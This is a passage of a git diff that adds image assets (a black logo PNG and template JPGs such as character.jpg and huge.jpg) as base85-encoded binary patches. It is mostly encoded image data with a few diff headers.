zj&F-sM@+}g#&?D>aF$DE5ooj*b~4piL)yz%TIYB{Iw3#FtX5R_;nZ==Qm!_*X|Tn;@pGYh0<;5wr7jspCY(=oL=K7yN7K?s_3GT^heB^&NRK?I{h5a zaIR2d(vN+X=)=#u+>B1)d+AGob%7C~^hyrb@^MNPJ_BVA%{`y?^zd5S?(p_=;UYw8 znGyHaZahAoR@2vV3|YP7h=$^x$iwEonf@=la&#_n42rfhD+WJC@+xaF@IEsDQ0s{Z zCZSTk(-|xj;GZuryGybuwr=s|yN9eMX}A^MgQ&^LUZf~M`*_o!&@naR^~#noYu{f{ zl3D*q#4YyB6`0+few;PoJ zP#*85#D)+cxYl%g+sTQ38`GCUYsXE^a#ww1kbclV)}ny*4h}kW?$4y4zMUyvugHX| zr2QX<(}sSgs3QFpC(M#()u`jo;ZZ1jn15HNYQb4fh9>S)b?k#d$c0v=hxL_h5DUS(_xbZRK0lTSN-=yRU_P`14$-c&LhOjPLDYk0R;nN!Any8yz>|}krs!o z^G6V^H@pZ106nX@4{tGb7X${y-6vYm3~coj@p1$r6dRmDqh;501nBhR^X*ovq(E3$ z<{mSY^g;`pb%qd<3o{n{<_u#j^XvK4NJ#gFbRsj+Bc_L6}-P`y2Nnd6B(g!su{4 zLJPLH2x*lnw9HU#`FcN)tei!&)0blR;0ckJ+lh}>$iCRVwn;7%pF1a(-F){1pHHXJ zX%Az4ja$4K{|1paFsK~oqo#9;XH^q^K1!8Th>}WcaHz*qwa~B5E?Fl6B;#`#emO__GG)C zRz+^QR?H1WwA^6;{f1!YC?I$`8I?<7R71RzpI;5`rm15{Rwx|%5SiX3{b5^>`?6xp&Ji+P}JoHzSf`ms{oDt LmH+Q&(s#cDsUr%7 literal 0 HcmV?d00001 diff --git a/src/style/res/logo-black.png b/src/style/res/logo-black.png new file mode 100644 index 0000000000000000000000000000000000000000..73e5ebcb43833eeb621ff764dc7e44323c9afe10 GIT binary patch literal 455 zcmeAS@N?(olHy`uVBq!ia0vp^0zk~q!3HGX7W?Z1DVAa<&kznEsNqQI0P;BtJR*x3 z7=(O5nDO)UBg=t;VkNE-CC){ui6xo&c?uz!xv30>hWbX9`iACTwud+YRmgx;1m~xf zlqVLYGB~E>C#5R5WfrBD=NDxcD>w(6z1XvIwhi*x%GkhWbX9`iACTwud+YRmgx;1m~xf zlqVLYGB~E>C#5R5WfrBD=NDxcD>w(6z1Xv?mq)LJVQ&Orvhh3ZhBjJwL{si@i8$Z~hZfH6NoY=UdxG=(8f}dx% z_2%ldXJ^60g?*18$|4;XJS`KiBE zP^;Mbm-T|g=Ve?zOF2#{gdNR$^iinwM)`p_p9$`fza4ayELhkM@D;Fx{Arb3@buj6 zXVt~~qEFvp%WIezUgCPGyY7R|%E5ZPMa}8-t3p_tY z``aAc)A=}%`4wlAYjl6(8WjtMYm2)ZlZ@m}-}uo`n;@XFmMQ#zo6_yck!&@AFSa~; u)bDs{X{bSo?#XMB;jRpJjpgF&>zVIg*(;naCF>3hR0dC1KbLh*2~7ZTNv#_I literal 0 HcmV?d00001 diff --git a/src/style/res/template/character.jpg b/src/style/res/template/character.jpg new file mode 100644 index 0000000000000000000000000000000000000000..ba5e4d1da76da014d1238c4a121c619a087b615e GIT binary patch literal 6153 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 literal 0 HcmV?d00001 diff --git a/src/style/res/template/huge.jpg b/src/style/res/template/huge.jpg new file mode 100644 index 0000000000000000000000000000000000000000..ce8acbdfab13feee52eeae73072801313f993665 GIT binary patch literal 419343 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 